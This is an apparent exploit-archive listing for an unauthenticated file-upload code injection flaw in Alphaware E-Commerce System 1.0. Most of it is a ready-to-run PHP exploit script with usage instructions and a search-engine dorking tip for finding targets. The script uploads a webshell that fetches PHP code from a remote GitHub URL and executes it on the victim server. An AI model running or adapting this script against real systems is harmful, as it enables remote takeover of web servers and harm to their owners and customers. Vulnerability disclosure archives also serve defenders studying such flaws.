exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Alphaware E-Commerce System 1.0 Code Injection

Alphaware E-Commerce System 1.0 Code Injection
Posted Aug 21, 2024
Authored by indoushka

Alphaware E-Commerce System version 1.0 suffers from a code injection vulnerability.

tags | exploit
SHA-256 | d774af63b3ac654bb19dc15d62b42b3d6735d40e87bc8a84aac08154cd084d00

Alphaware E-Commerce System 1.0 Code Injection

Change Mirror Download
=============================================================================================================================================
| # Title : Alphaware E-CommerceSystem 1.0 php code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://www.sourcecodester.com/php/11676/alphaware-simple-e-commerce-system.html |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This payload injects php code of your choice into an SHELL.php file.

[+] The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
combine this issue with an sql injection to retrieve the randomised name of our uploaded php shell.

[+] save payload as poc.php

[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1

[+] payload :

<?php

function file_upload($target_ip) {
$file_name = "indoushka.php";

$webshell_payload = "<?php
\$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';
\$ch = curl_init();
curl_setopt(\$ch, CURLOPT_URL, \$url);
curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
\$output = curl_exec(\$ch);
curl_close(\$ch);
if (\$output) {
// Safely include the content of the remote PHP file
include 'data://text/plain;base64,' . base64_encode(\$output);
}
?>";

$post_fields = array(
'add' => '',
'product_image' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),
'product_name' => 'inouva',
'product_price' => '123',
'product_size' => '99',
'brand' => 'N0_name',
'category' => 'Hackers',
'qty' => '1'
);

echo "(+) PHP Code Injection ...\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$target_ip/alphaware/admin/admin_football.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
curl_close($ch);

echo "(+) Shell uploaded successfully.\n";
echo "(+) Access the shell at: http://$target_ip/alphaware/photo/$file_name\n";
}

if ($argc != 2) {
echo "(+) Usage: php " . $argv[0] . " <target ip>\n";
echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";
exit(-1);
}

$target_ip = $argv[1];
file_upload($target_ip);


[+] Path : http://127.0.0.1/alphaware/photo/

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close